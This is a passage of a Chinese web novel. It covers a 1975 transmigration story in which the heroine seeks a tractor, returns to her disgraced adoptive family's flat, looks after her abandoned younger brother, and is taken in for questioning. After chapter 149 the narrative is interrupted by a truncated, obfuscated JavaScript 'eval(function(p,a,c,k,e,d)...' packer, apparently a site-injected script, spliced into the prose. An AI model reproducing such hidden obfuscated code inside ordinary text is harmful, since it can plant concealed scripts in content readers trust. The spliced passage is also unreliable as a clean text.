这话让阮妈妈直接笑了出来，阮爸爸则是无奈的笑着摇头。 程十一都不知道是该哭还是该笑了。 在心里面，程十一有点忍不住羡慕嫉妒原主王二丫。 王二丫短暂的一生是悲惨的，但阮玲玲的存在却让她的人生又不那么苦涩了。 跟着阮爸爸进了书房，程十一下意识的扫视了一圈，又在对方转身的时候迅速微微低头垂眸，装出一副乖巧的模样。 书房并不算大，也就只有十几个平方大小，桌子下面是一张红木书桌，以及一把带着靠背的椅子。 第146章 是二丫不？ 两侧都是书柜，不过书柜里面摆着的书却不算多。 距离程十一最近的书柜里摆着的是一些机械方面的书籍。 至于另外一侧，还没来得及看清楚就装乖巧了。 “坐吧！” 阮爸爸从办公桌旁边拿过来一个折叠凳子，打开后示意程十一坐下，自己则是将椅子搬过来，这样两个人就可以面对面聊天。 此时的阮爸爸脸色不再是一脸温和宠溺的微笑，而是显出了几分严肃。 得，这一看，那种开会开小差被老板抓包的感觉来了！ 程十一下意识的挺直脊背，拿出了十二分的精神来应对眼前的这个男人。 此时此刻，他们俩已经不再是刚刚饭桌上的长辈和晚辈，而是平等的两个人。 “刚刚我说的话你听见了，想要买拖拉机，这样贸然过来是不可能的。” 阮爸爸直接说道：“如果你们大队坚持要买，可以提交申请。” 顿了顿，又道：“不过需要走手续，而且你们那边也有拖拉机厂，理论上是不可能跨区域采购的。” 程十一点点头：“我知道，不过走正常程序根本轮不到我们大队。所以我是来采购二手拖拉机的。” “二手？” 阮爸爸微微皱眉：“淘汰下来的拖拉机也不是能够轻易拿到的，你这样直接过来，怕是要白走一趟。” 程十一却不赞同：“叔叔，实不相瞒，我其实已经联系到了二手拖拉机，只是还需要一些步骤。就这么直接采购回去，怕是会惹来麻烦，您明白吧！” 联系了，还需要走步骤，这就说明是投！机！倒！把，阮爸爸的脸色瞬间一沉：“十一，我看在你是玲玲好朋友的份儿上，这话我听了可以当做没听见过。这话你也不要在外面说，否则会招来事端。” “嗯，我明白。” 程十一自然明白：“所以我才想来问问叔叔有没有什么办法能够帮忙将这件事过明路，当然，不会让您白辛苦。如果有危险，您拒绝也没关系。最多我就是白跑这一趟，就当时回来省亲了。” 这小丫头，主意可真不是一般的大。 阮爸爸捏了捏眉心：“这件事不能操作，稍有不慎，我们家会跟着被牵连不说，你也会被下放。” 这就是不行了？ 程十一并不算很失望：“行，叔叔，我明白了。放心吧，我这次就是回来省亲，顺便看看自己的好朋友。” 看她这么痛快的就改口了，阮爸爸反而有些不确定：“你真放弃了？” 程十一耸耸肩，什么都没说。 放弃是不可能放弃的。 这条路走不通，那就走别的路。 自古都是财帛动人心，只要自己能给得出足够的好处，就不相信真的会没人帮忙。 只要过了明路就行，至于后续会不会有人查？ 查呗！ 反正她到时候就咬死了明路这条线，至于其他的，她也不知道啊！ 至于下放？ 她还真不怕这个。 如今都已经75年了，马上就要进入76年，只要不是给她吃花生米，她最多改造个一年时间，等到77年，春天会到来，到时候她就会复苏。 阮爸爸狐疑的看着眼前的小姑娘，真的是怎么看怎么都觉得这小丫头不会就此放弃。 想了想，他道：“你有几天假期？” “一共有十天假期，扣除来回路上的时间，我可以在这里待三天左右。” 程十一老实回答。 阮爸爸点点头：“行，那你先回家去吧！明天我去厂里问问看看有没有淘汰下来的拖拉机，你不要自己去跑，如果出事了，后果不是你一个人能承担的，很有可能连带你身后的整个大队都会遭殃。” 这话说得就有些严重了，程十一并不觉得真的会影响到大队，但……她到底不是这里土生土长的人，即便是继承了原主的记忆，可所能了解到的东西也不多。 所以，她愿意给对方一天时间，如果对方能帮忙真的联系到明路上的拖拉机，那是最好，如果不能，那就再另外想办法。 程十一在阮玲玲家又待了半个多小时后就离开了。 阮玲玲拉着自家老父亲将程十一送到了大路上，又目送她的身影走远，这才往家里走，一路上还在念叨着自己的小姐妹小时候有多可怜云云。 程十一直到转弯，确定阮家父女再也看不见自己了，这才拿出一辆自行车来。 骑着自行车，一路朝着钢铁厂的家属区而去。 时间不算很早了，路上几乎没有多少行人。 家属楼外的大树下倒是还有人坐着闲聊天。 大家拿着蒲扇拍打着蚊子，和旁边的人闲聊。 有人正在下象棋，离着老远就能听见“吃你的象”之类的话。 也有不少小孩子正在追逐打闹。 大树下面挂着个灯泡，照亮了附近的一片空地。 对于这样的景象，原主的记忆里有很多。 程十一找了个没人的角落将自行车收起来，又快速换上了一身满是补丁的衣服，最后提着个不大的破包袱，这才朝着光亮的地方走去。 既然都说要省亲了，那自己怎么也要回到“家”里走一遭啊！ 之前一直没想过回来，所以对王家的情况倒也不怎么在意，可是既然都回来了，她就很想知道一下王家现在的情况。 家里搬空了，还留了发报机这样的危险物品，也不知道王家人现在还留下几个。 随着她的走近，有眼尖的人瞧见了，连忙碰了碰身边的同伴，问：“那人是谁啊？谁家来亲戚了？” 被她这么一提，周围的几个人全都朝着程十一的方向看过去。 有人眯着眼睛看了看，有些不确定的说：“我瞧着怎么那么像老王家的二丫呢？” “老王家？” 有人反问。 那人点点头：“对，就是老王家，王海柱家，他媳妇儿姜美妮，就前阵子被抓走的那个。” 其他人的脸色都是一变。 想到王海柱一家的事，有人不想沾上麻烦，纷纷起身，借口家里还有活，赶紧回家了。 也有人好奇，虽说没走，但也没有主动迎上前。 但也不是谁都没有上前，很快就有两个人走过去，一个老太太，一个大妈。 大妈搀扶着老太太，离着老远就问：“是二丫不？” 第147章 王家结局 神特么的二丫！ 程十一真的不想顶着王二丫这个名字了，但又不能翻脸，还得怯生生的回应：“陈奶奶，我是二丫！” 被妇人搀扶着的老太太夫家姓陈，丈夫是烈士，儿子在钢铁厂上班。 整个大院里有好人，陈奶奶就算一个，也是对王二丫最好的人。 陈奶奶快走了几步，因为裹着小脚，走得不算快，旁边的妇人则是连忙招呼：“二丫，你不是下乡了吗？怎么突然回来了？” “陈婶子。” 程十一喊了人，这才说道：“我得了几天省亲假，就想回来看看。” “你这孩子，都出去了咋还回来呢？” 陈奶奶到了跟前，一把就拉住了程十一的手，白发苍苍的老人眼里都是心疼，另外一只手还将程十一耳边的碎发掖到耳后：“你爸妈他们都被抓起来了，现在还没放出来。你家里现在也……唉！你今天晚上就在陈奶奶家里住吧！” “啊？我爸妈被抓起来了？为什么？” 程十一一脸的震惊，半点都不带假的。 陈奶奶拍了拍程十一的手背：“先不说了，晚上吃饭了没？去陈奶奶家，让你婶子给你煮碗面条。” 一旁的妇人连忙附和：“对对，我给你做手擀面，你这丫头从小就喜欢吃婶子做的手擀面。” 程十一早就吃饱了，压根吃不下，赶忙拒绝：“不用不用，我刚刚下车的时候就吃了点东西，这会儿一点都不饿。” 和吃饭相比，程十一更想知道王家的现状。 不过注意到不远处那些指指点点的人群，程十一也不想站在这里当猴子一样被人观赏，便道：“陈奶奶，婶子，我有点渴了，能去你们家讨口水喝不？” “你这孩子，咋还这么客气了！走走，去陈奶奶家。” 陈奶奶说着就将程十一往自己的胳膊里面一夹，就这样拉着程十一往自家的方向走。 走过那些人群时，有人说：“陈老太太，你可别什么人都往家里带啊！王家现在什么情况现在谁不知道，你可别沾了一身的脏。” “就是就是，王家现在可沾染不得。” 周围的人纷纷附和。 陈奶奶瞪了他们一眼，说道：“你们可别瞎嘚吧了，老王家咋样，那也和二丫没啥关系。二丫这孩子从小过得啥日子你们都看不见啊？孩子大老远的回来，那家里面也住不了人，难不成要让她一个小丫头在外面睡大街？行了，你们待你们的吧！” 说话间，陈奶奶已经拉着程十一路过了人群。 陈婶子就在一旁跟着，半点不情愿的样子都没有。 陈奶奶家距离王家不算远，是两室一厅的房子，稍大的一间被间隔成了两个屋子。 陈奶奶和家里的孙子一人一间小的，剩下的那间则是陈婶子两口子住着的。 和其他人家一样，灶台就在走廊靠着门口的位置。 进屋后，客厅里摆着一张方桌，墙边还有几个柜子。 家里的东西都不算新，可都是干干净净的，一看这家人就是个勤快的人家。 “孩子，快坐下，和奶奶说说，下乡苦不苦？有没有人欺负你？” 陈奶奶拉着程十一坐下，陈婶子则是去倒了两杯水，一杯给了自家婆婆，一杯给程十一。 程十一先是回答了老太太的问题，又接过水杯，喝了两大口，这才继续说道：“乡下一切都挺好的，上工也不算累。” “对了，陈奶奶，我家里到底咋回事？咋突然被抓起来了？” 该表现出来的着急还是要表现出来的。 其实也不算是表现，程十一也是真的好奇王家的结局。 提起这个，陈奶奶先是叹气，又是愤怒，巴拉巴拉的就将王家的事说了一通。 带袖箍的人在王家发现了发报机，这玩意儿一出现，那就证明了事情大条了。 就只这一点，王海柱和姜美妮就足够被抓起来。 王佳佳本来马上就要和对象结婚了，可发生这种事后，人家男方说什么都不同意这门亲事。 那时候家里面什么都没有了，王佳佳也没个工作，天天的连吃饭都成了问题，自然不肯放过对象这唯一的一条路。 就在去男方家里闹的时候，不小心摔倒了，当时身下就出了不少血，送到医院后才知道是小产了。 没结婚的大姑娘小产了，这可不是小事，放在当下这个时代那更是天大的事。 王佳佳就说是被对象秦爱华强了，可秦爱华不承认，再加上他父亲又是钢铁厂的一个小领导，一番操作下来，王佳佳就成了个不知道和哪个野，男人混在一起有了孩子，还企图诬陷秦爱华这个大好青年。 被挂了破了的鞋，还被剔了阴阳头，王佳佳被巡街后就被下放送去改造。 秦爱华虽说在家里的操作下没有背上搞大人家女同志肚子的罪名，但也不得不面临下乡。 一个下放，一个下乡，两个人算是彻底断了关系。 王宝贵作为家里的长子，那是被王海柱和姜美妮宠着长大的，不说是无法无天，但也绝对是个混混，窝里特别横的那种。 父母被抓后，也没人惯着王宝贵了，连吃饭都成问题，他就开始偷鸡摸狗，结果没两天就被抓住，直接蹲了笆篱子。 王家一下子就剩下了一个半大的王宝才，以及一对双胞胎。 三个孩子的年纪加起来都没到三十岁，王宝才还在读初中，虽说现在读书也不见得能学到什么，可读书和不读书就是不一样。 家里发生了这么多事，书是肯定读不下去了，又没有班上，王宝才就直接跑去了乡下的奶奶家。 临走的时候还带上了王宝慧。 王宝慧是双胞胎里的妹妹，同时也是王家最小的孩子。 双胞胎哥哥王宝智是个男娃，按说怎么也要带着一起走的，可王宝才却没带上。 等到第二天大家听见王家的哭声，跑过去一看，才发现王宝智一个人坐在空荡荡的客厅地板上嚎啕大哭。 “唉，宝智那孩子也不知道他爷爷奶奶家在哪里，也没人有那个时间特意送着孩子去乡下，就这样留在了家属楼。” 陈奶奶长长的叹了口气。 第148章 王宝智 “这段日子都是靠着一家一口饭的活下来的，可这也不是长久的法子，估摸着等你爸妈那边有结果了，这孩子才知道到底要咋安置。” 陈奶奶摸了摸程十一的头发：“你说说你这孩子啥时候回来不好，偏在这种时候回来，回头组织怕是得让你带着宝智那孩子走了。” “我带着？” 程十一震惊脸：“我和他都不是一个户口本上的人了，咋带着？” “啊？” 陈奶奶还不知道程十一已经从王家脱离出来的事，连忙询问。 这也没什么好隐瞒的，程十一就将来龙去脉说了一遍，最后还感叹道：“我出来的时候就带了两套换洗的衣服，要不是车票是知青办给买的，估计我就得腿儿着去下乡了。” “真是苦了你了。” 陈奶奶的眼泪落了下来，将程十一拉到自己怀里，轻轻的拍着她的背：“怪陈奶奶了，那个时候非要回老家一趟，要是我在家，肯定不能让你就这么走了。你说说你，那火车上就得坐好几天，你咋挺过来的啊！” 程十一眨眨眼，闻着老太太身上散发出来的肥皂味，竟然有点想哭。 吸了吸鼻子，程十一乖巧的说道：“陈奶奶，您别担心，我在车上认识了一起下乡的知青，她对我可好了，一路上都是她请我吃饭。还有啊，她还借了我五十块钱，说是等我拿到工分了再慢慢还她。” “好好好，先苦后甜，你这孩子的福气还在后面。” 陈奶奶擦了擦眼泪：“今天晚上你就在家里住吧！明天就赶紧买车票回去，要不然真让人知道你回来了，估摸着就得把王宝智塞给你了。” “塞给我我也不能收啊！” 程十一坐直身体：“陈奶奶，我的户口关系都在我们大队呢！真要带人回去，那就只能吃我的口粮，我这细胳膊细腿儿的，养活自己都费劲。” 说到这里，程十一苦笑：“还不如将人送去他奶奶家里，反正我还有两天假期，回头我将人送过去吧！” 老王家，还是要去一趟的。 王海柱两口子每年可都会给老家不少钱，之前原主跟着一家人回去的时候，那粮仓里可都有不少粮食。 老王家不做人，对原主也是各种欺负。 既然有这机会，自己不会去帮原主收些利息，想想就觉得亏得慌。 陈奶奶可不知道程十一的这些心思，一听她这么说，眼泪又落了下来：“你这孩子就是心太软了。” 程十一到底没在陈家睡，而是回了王家。 王家的门关着，但没上锁，一推，门就开了。 屋里有股淡淡的酸臭味，好像是很长时间都没有洗澡会有的气味。 屋里黑漆漆的，只有些许光亮从没有窗帘的窗户透进来。 靠着窗户的地板上有个黑色的鼓包。 程十一摸出手电筒，光亮照过去，鼓包的外面有个小脑袋，头发乱糟糟的，正对背对着自己。 不用想都知道是王宝智了。 王家已经全部都空了，王宝智此时裹着的破被子都是家属区里的人家看不过眼送过来的破被褥。 也就是王宝智的年纪小，身量小，要不然还真不够他盖的。 王宝智在睡觉，完全没想到会有人来。 直到感觉有人碰自己，他这才睁开眼，转过头，就对上了手电筒的光亮，照得他赶紧捂脸，嘴里还在小声的求饶：“别，别打我，别打我，呜呜呜……” 听到哭求声，程十一的心里有那么一瞬间的心疼。 那是原主的记忆在作怪。 王宝智和王宝慧是双胞胎，生下来后，姜美妮一个人根本照顾不过来。 王佳佳和王宝贵两个大孩子按说可以搭把手，可这俩人一天天的都不着家，只有王二丫能够帮忙照看。 尤其是晚上的时候，姜美妮嫌两个孩子哭闹影响她睡觉，就直接让王二丫守着两个孩子。 白天的时候，王二丫做家务，做饭，还要照看孩子。 可以说，这对双胞胎虽然不是王二丫生的，却是王二丫一手带大的。 小的时候，两个小家伙最是黏王二丫，可后来长大些了，他们俩就和王二丫不亲了。 不过也有不同。 王宝慧那是半拉眼睛都瞧不上自己的二姐，但王宝智多少还是有点良心的，偶尔会将自己偷偷剩下的一小块饼干，或者是一小块馒头给王二丫吃。 虽说王二丫基本上都没碰过，都哄着王宝智吃了，可这份情谊却让王二丫牢牢的记在了心里。 如今看到从小照看长大的孩子变成这样，原主的记忆开始作祟。 程十一闭了闭眼，深吸一口气，同时将手电筒的光亮朝着一旁照：“王宝智，明天我送你去你奶奶家。” 哭声戛然而止，小家伙放下手，一双带着水光的眼睛难以置信的看着站在自己面前的人，惊呼道：“二，二姐！” 程十一嗯了声，随手从包里拿出了个油纸包丢到对方面前：“吃吧！” 油纸包里是三合面馒头，已经冷了。 王宝智一骨碌坐起来，打开油纸包，看到里面竟然是三合面馒头，抓起来就往嘴里送。 吃得着急，人被噎住了。 程十一无语，蹲下拍着对方的后背，又将水壶递给他。 喝了水，将嘴里的馒头顺了下去，王宝智才哇的一下哭了出来，直接扑进了程十一的怀里。 程十一差点被这小家伙撞倒，好在稳住了。 就是这小破孩子身上的味儿也太重了，程十一感觉整个人都很不舒服，当即将人推开。 “你多久没洗澡了？” 程十一起身后退两步，又从包里拿出了一条毛巾，用水壶里的水打湿丢给对方：“擦擦脸和手。” 太脏了太脏了，也不知道有没有虱子，她可不想身上有虱子啊！ 王宝智哭归哭，倒是听话，有点笨拙的擦脸擦手，这才可怜兮兮的看着程十一：“二姐，你是来接我的吗？呜呜呜，爸爸妈妈都走了，哥哥姐姐也都走了，连妹妹也走了，就剩下我一个人了，我，我呜呜呜呜……” 小屁孩子越说越伤心，越说越难过，哭声也越来越大，哭得程十一脑仁子生疼。 第149章 二姐不是原来的二姐了 程十一暴躁了，刚想手动让人静音，突然就听见走廊里传来一阵怒骂。 “哭哭哭，哭丧啊！再哭就把你踢出去！” 骂声还没完，屋里的王宝智就静音了。 嗯，真好，不用自己动手了。 程十一捻了捻手指。 程十一蹲下，看着坐在破旧被子里面的王宝智：“吃饱了就睡觉，明天不要乱跑，我会过来接你。” “二姐，你，你不在家吗？你别不要我，我，我听话，我一定听话，我，我可以吃很少很少的东西，呜呜……” “你再哭，我会直接将你丢出去。” 程十一阴恻恻的声音吓得王宝智小小的身体一哆嗦。 好吧，二姐不是以前的二姐了，现在的二姐好吓人。 王宝智又乖乖的躺下去了，只是这次不是背对着门的方向，而是面对着程十一，一双湿漉漉的大眼睛就这么盯着程十一，很害怕这个突然回来的二姐又会突然消失不见。 程十一指了指他，王宝智这才赶紧死死的闭上眼睛。 程十一也不动，就这么盯着小家伙，果然发现他又偷偷的睁开眼睛看自己。 结果俩人的视线一对上，王宝智又赶紧闭上眼睛。 如此反复了三次后，王宝智终于不再尝试偷看了，不多时便沉沉睡去。 看着他的眼睛不再是死死闭紧的样子，呼吸也变得均匀，程十一这才站起来。 听陈奶奶说的意思，等到王海柱两口子的事定了案，这房子也会被钢铁厂收回去。 如此一来，王宝智肯定会没有地方可去，除非谁会好心的特意跑一趟乡下，将王宝智送到王家老宅。 不仅是这个，程十一还听出了抓捕王家夫妻的人可能还要联系自己。 联系自己要干什么呢？ 是怀疑自己和他们是一伙的？还是说要询问别的事情？ 程十一在房间里转了两圈，最后也不想了，直接进了王佳佳的房间，拿出了一张床躺了上去。 原主的记忆会对她的心态发生些许变化，但那样的变化也只是一闪而过，并不会影响到她的决定和判断。 王宝智虽然是个孩子，虽然也对原主多多少少的还有些许善意，但绝对不足以抵消他跟着哥哥姐姐妹妹一起欺负过原主的事实。 孩子没完全坏，但也不是真的无辜。 将他送回王家老宅，这是程十一能给他做的最善良的安排。 或者，王海柱和姜美妮真的有能耐不吃花生米，而是被下放，那就让王宝智跟着下放去吧！ 反正她是肯定不会带在身边的。 如此想着，程十一也沉沉睡去。 麻蛋的，也不知道是不是火车坐多了，即便是躺在平稳的床板上，她也有一种仿佛在摇晃的感觉。 第二天天刚蒙蒙亮，窗外就有说话声。 是去买早餐的人和晨练的人在打招呼聊天。 程十一睁开眼，躺在床上也没起来，听着窗外的对话声，其中提到了王二丫的名字。 “估摸着组织上今天就得来人找王二丫了。” “肯定的，老王家出了那样的事，王二丫就算再怎么不受宠，那也脱不开关系。” “你可别这么说，街道上不是说王二丫已经和老王家脱离关系了吗？” “瞧你这话说的，脱离关系就真的什么关系都没有了？我瞧着啊，保不齐那丫头知道点儿什么，那种时候脱离关系，肯定是联系别的什么势力了。” 那俩人的对话声越来越远，最后彻底听不见。 程十一的嘴角扯了扯。 想象力真丰富。 原主但凡真的知道点什么，王家那一大家子还能那么奴役她？就不怕她反水？ 说归说，想归想，被组织上找这件事肯定是板上钉钉的了。 这样也好，在这里被组织找谈话，总好过组织安排人去光荣大队去找自己。 到时候影响可就不是一般的小了。 程十一只在乡下安稳的过上个三四年，等开放了，她再想办法离开那里，做点不痛不痒的小生意，赚点足够花的小钱钱，过自己的咸鱼生活。 在这之前，她在光荣大队的名声很重要。 嗯，至少不能和王家那样的破事牵扯上关系。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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从小到大，王宝智基本上就没自己穿过衣服，基本上都是王二丫给穿好的。 不过到底是几岁大的孩子了，也不是真的什么都不懂，虽然动作笨拙，可好歹是穿好了。 衣服明显小了不少，手腕和脚脖子都露了出来。 程十一这才想起来这身衣服是王宝智两年前的旧衣服了。 可就算是旧衣服，身上也没见两个补丁，和原主王二丫的衣服完全不一样。 将一个半旧的床单递给王宝智，让他将自己那破烂的被子和换下来的脏衣服打包好。 这就多少有点难为人了，王宝智忙活得额头上都出了汗也没包好，最后还是程十一动手。 单手拎着王宝智的包袱，程十一带人出了家门。 这次程十一连头都没回一下。 那个空荡荡的王家怕是很快就要变成别人家。 此时走廊里已经有人家在做早饭，看到出现的一大一小，大家都很诧异。 有人动了动嘴，似乎想说点什么，可到底没有出声。 而当姐弟俩路过时，他们都自动的让开路。 程十一就这样目不斜视的走过去，王宝智则是耷拉着脑袋，一副恨不能将头埋在心口的样子。 这个时候公交车还没开始营业，但国营饭店已经开门了，卖早餐。 程十一买了两碗豆浆，四个菜包。 她吃三个，王宝智一个。 就算这样，王宝智也特别的激动。 他感觉这菜包简直就是这天底下最最最好吃的东西了！ 吃过早饭，程十一正要带着王宝智去公交站点等车，突然就看到有三个穿着板正的男人朝着她这里走过来。 程十一皱眉，下意识的，她觉得这三个人是冲着她来的。 果然，这三个男人走到程十一跟前不到两米的位置。 为首的男人从兜里掏出了证件，展示给程十一看：“你好，我们是……” 话未说完，王宝智就冲到了程十一面前，双手撑开，用小小的身影挡在了程十一和对方中间，一张小脸儿上满是警惕：“你们不要抓我二姐！我二姐是好人，不是坏人！” 程十一一愣。 她是真的没想到这个小家伙竟然会站出来保护自己。 嗯，虽然这保护的力度可以忽略不计，但不妨碍她这一刻确实是有那么一点点的动容。 就一点点，不多。 估摸着是这小子怕自己被抓走了，就再也没人管他了吧！ 程十一心里耸耸肩，很快就将那一点点微不足道的动容抛到了脑后。 单手按住王宝智的肩膀，让他退到自己身边，这才对为首的男人说道：“我知道你们是来找我了解情况的，不过能不能让我先把这小子送到他奶奶家？一直没人管他，回头真要饿死冻死或者是被人打死了，你们也不好交代，是吧！” 程十一发誓，她真的没有威胁人的意思，就是单纯的不想给组织添麻烦。 为首的男人看了一眼王宝智，皱眉想了下，这才道：“你们俩都跟我们走一趟，如果你没有问题，回头我会安排车送你们俩离开。” “哦，行，那走吧！” 程十一没意见。 这可不是末世，她不想跟着走，干就完了。 现在她要赶在这种时候不跟着走，那绝对是她吃不了兜着走。 三个人似乎没想到程十一的反应竟然这么淡定，突然就有些警惕起来。 根据他们所掌握的消息来看，王二丫，也就是改名后的程十一应该是个常年被欺负的小可怜才对，看见熟人都不敢主动打招呼的性格，怎么突然就变得这么……淡定了？ 三个人都起了警惕，带着姐弟俩离开时就形成了包围圈。 程十一自然发现了，但她什么都没说。 现在她也算是嫌疑人之一，人家谨慎一些也应该。 就是不明白这些人怎么到现在了才想起来找自己，而不是在王家出事后的第一时间就安排人去找自己呢？ 难不成是下乡地点距离这里太远了，他们嫌麻烦？ 可这也不对啊！难道不能打电话？ 程十一想着想着，就忍不住拍了一下自己的额头。 真是脑抽了，居然在想着对方怎么不早点找自己。 突然的动作吓了旁边的男人一跳，当即做出了防备的动作。 程十一对着那人微微一笑：“抱歉，有蚊子。” 说完还将拍额头的手掌在身上擦了擦。 嗯，对，拍蚊子。 男人狐疑的看着程十一，虽然放下了防备的动作，可注意力明显比刚刚更警惕了。 “十一！” 一个脆生生的女孩子声音从身后传来。 程十一下意识的停住脚，转身回头，就见阮玲玲正拎着个网兜朝着自己这边小跑过来。 “是我同学。” 程十一和旁边的男人解释了下：“知道我回来了，怕我没吃饭，给我送早饭来了。” 她猜的，有理有据的那种猜，因为阮玲玲手里的网兜装着的就是两个饭盒。 “你现在不能和其他人接触。” 旁边的男人皱眉说道。 程十一哦了声：“那你跟着，我们说什么做什么都在你眼皮子底下，这样总行吧？” 男人：…… 这姑娘是不是听不懂人话？ 程十一才不管他的反应，直接迎上了阮玲玲：“你怎么过来了？” “给你送早饭啊！” 阮玲玲提了提手里的网兜，因为小跑过的关系还有些气喘，双颊也是红扑扑的：“你还没吃早饭吧？” “我……” 程十一想说自己吃过了，不过想了想还是摇摇头：“还没，谢谢你。你先回去吧！我这里还有点事要处理，回头忙完了我再找你玩。” 阮玲玲张了张嘴，不过在看到三个男人一起朝着自己看过来的视线后，下意识的缩了缩脖子。 她直觉这三个人的气势有点吓人。 程十一微微一笑，伸手将网兜接了过来，又摆摆手：“快回去吧！” 阮玲玲张了张嘴，最终点点头，一步三回头的离开了。 目送阮玲玲走远，程十一这才笑着对三个男人说道：“咱们继续走吧！” 阮玲玲走出去老远了还会回头看一眼，直到看着程十一和她弟弟跟着那三个男人上了一辆吉普车，这才赶紧朝着公交车站跑去。 这会儿车上还没什么人，阮玲玲坐在最后一排座位上，只感觉心跳加速得特别快，下意识的将手插进兜里，结果她的身体就是一僵。 第151章 被关起来了 她的衣兜里什么时候多了一张字条？ 下意识的朝着四周看了看，发现并没有人注意自己，阮玲玲这才将字条展开。 上面的字很秀气，写着“告诉你爹，切莫行动，等我消息”，总共十二个字，却让阮玲玲的手都跟着抖了起来。 切莫行动？ 这是什么意思？什么行动？ 阮玲玲的脑子里乱哄哄的，很想去找程十一问问到底怎么回事。 虽然她不知道程十一是怎么做到的，但这字条只可能是她放进自己的衣兜里的。 可她不能。 想到那三个人，还有军绿色的吉普车，阮玲玲真的是眼泪都快流下来了。 一路心情忐忑又急切的终于回到了自己家。 刚一进大门，就看到自家爸爸从屋里走出来，手里拿着个黑色的皮包，一副要去上班的样子。 阮玲玲的眼泪唰的一下就落了下来，赶紧跑过去，一把抱住了自家爸爸的胳膊。 阮爸爸被吓了一跳，正要询问，就看到自家闺女那一脸的眼泪，惊得他赶紧反手扶住自家闺女的肩膀，急声询问：“发生什么事了？” 阮玲玲一边哭一边摇头，还拉扯着自家爸爸的胳膊往屋里走。 阮爸爸也没办法安心的上班了，顺着自家闺女的力道回到了屋里。 一进屋，阮玲玲就赶紧将房门关上，关上前还不忘朝着外面看。 虽说她还在哭，但却不影响她的这一系列动作。 阮爸爸看得一头雾水，也更加担心，生怕自家闺女一大早出门别不是被人欺负了。 就在他正要开口询问时，闺女却从兜里拿出了什么东西递给自己。 掌心朝上，上面是一个皱皱巴巴的纸团。 阮爸爸不知道这是什么，但还是拿了过来，展开的同时就听自家闺女哽咽着说道：“是，是十一给我的，我刚刚去，去的时候，有，有三个男的围着她，还，还把她带上了一辆吉普车。爸爸，十一是不是遇到什么危险了？还有你们说的什么行动？你们到底在做什么？” 看到行动两个字，阮玲玲的第一个反应就肯定不是什么好事。 她从小接受的教育，以及生活的圈子让她的下意识反应就是上报。 可是这件事牵扯到的两个人，一个是自己的爸爸，一个是自己的好姐妹，阮玲玲是真的做不出上报的举动来。 所以，她决定先回家问自己的父亲，万一他们的行动并不是自己想的坏事，而是好事呢？ 带着这样的一丝丝侥幸，阮玲玲忍受着心灵上的煎熬，就这样回到了家。 此时的阮玲玲一双满是泪光的眼睛就这样死死的盯着自己的父亲。 阮爸爸在看到字条上的字后，先是一愣，随即轻笑摇头，又看向自家闺女，抬手揉了揉她的头顶，柔声道：“你这个小姐妹想要买拖拉机，我昨天说了今天会去厂里联系一下，看看能不能帮忙搭线成功。不过现在看来，这件事应该是不着急了。” “就，就这样？” 阮玲玲懵了。 她这担心了一路，忍着哭，忍着去上报，忍受着内心的煎熬，所以，就只是这样？ 阮爸爸点点头，又轻轻捏了捏自家闺女的鼻尖：“要不然你还以为怎么样？以为你爸爸会是什么大坏蛋，会做什么危害百姓，危害国家，危害组织的事吗？” “不会！爸爸一定不会！” 阮玲玲恨不能将头摇成拨浪鼓。 然后一个没忍住，就笑了出来，又哭又笑的。 阮爸爸拍了拍阮玲玲的肩膀：“好了，别哭了，今天不是要跟去外婆家吗？快去洗把脸，要不然红着眼睛回去，你外婆肯定要担心。” “嗯嗯。” 阮玲玲用力的点点头，正要去开门，突然想到什么，赶忙又看向自家爸爸：“爸，那，那十一那边怎么办？她被人带走了。” 脸上和语气里都是明显的担忧。 阮爸爸皱了皱眉，想了想，这才说道：“应该没什么事，我今天去钢铁厂那边问问，你不要乱说出去，知道吗？包括拖拉机的事。” “嗯，知道！” 阮玲玲虽然被家里人养得天真，但不是傻，什么事能说，什么事不能说，她心里有数。 目送自家爸爸推着自行车出了大门，阮玲玲这才真正的松了口气，赶紧去洗脸。 自家老妈去供销社买东西了，今天回姥姥家，说是要带点糕点回去给老人吃。 对于阮家发生的事，程十一此时并不清楚。 坐在吉普车上，程十一坐在一侧靠窗的位置，中间是王宝智，另外一侧则是其中一个男人。 另外两个男人都坐在前面。 车速并不慢，一路疾驰到了大院前面。 好不等程十一看清楚大门旁边挂着的牌子，车就已经进了院子里面。 正中间是一栋二层楼，这会儿是上班时间，陆陆续续的有人朝着楼里面走。 车停下，程十一正要开门下车，就看到有一只手伸过来，在她动手之前，那只手就先帮她开了门。 程十一眨眨眼。 这是怕她不会开车门吗？ 好吧，按照原主王二丫的经历来看，不会开车门好像才是正常的。 下了车，姐弟俩就被两个男人带着进了二层楼，也没上楼，而是来到了一楼的一间办公室外。 “你们俩先在里面等着，会有人来问你们问题，你们只需要回答问题就行。” 其中一个男人打开了门，让姐弟俩进去后，就将门重新关上，还重新上了锁。 程十一：…… 要不是这办公室里面有沙发有办公桌，还有窗户，她差点就要以为自己是被关进小黑屋了。 对于能坐小汽车这件事，王宝智其实还是挺兴奋的，可是最近一段时间的经历却让他不敢表现出来，全程都尽可能的贴着程十一，小心翼翼的甚至都不敢抬头。 如今被关进了一个陌生的房间里，王宝智就更害怕了，下意识的还想靠着程十一，却听程十一冷冰冰的命令：“自己坐着，别挨着我。” 虽说换了衣服了，可是也没洗澡，也没洗头发，程十一是真怕这小子身上有虱子跳蚤会传染给自己啊！ 那玩意儿一点传染上就可难彻底清理干净了。 第152章 小丫头的反应太正常了 王宝智委屈巴巴的坐在沙发的一侧，小小的身影恨不能缩成一团，时不时的还会偷偷看一眼程十一。 而程十一则是来到了窗户跟前，看着窗外的景象。 大院里还有人在走动，每个人的精神面貌都是那样的积极向上，有人在打招呼，也有人在并肩而行说着话。 程十一打了个哈欠，感觉有点无聊。 转身坐在单人沙发里，程十一喊出了系统。 程十一：统统，我是不是好久没抽幸运值了？ 幸运值这东西是真的很玄学，只要抽到数值高，那这一天的事情都会很顺利。 她记得统统好像说过积攒一下，可以提升高幸运值的概率来着。 系统：主人，是的呢！你都好久没有抽幸运值啦！今天要抽一下吗？ 程十一：抽吧！今天这情况有点复杂，我先看看幸运值怎么样。 要是幸运值高，那就一切都好，至少自己的心情能好一些。 但如果幸运值很低，自己就要格外的小心谨慎了，别真的把自己玩死进去。 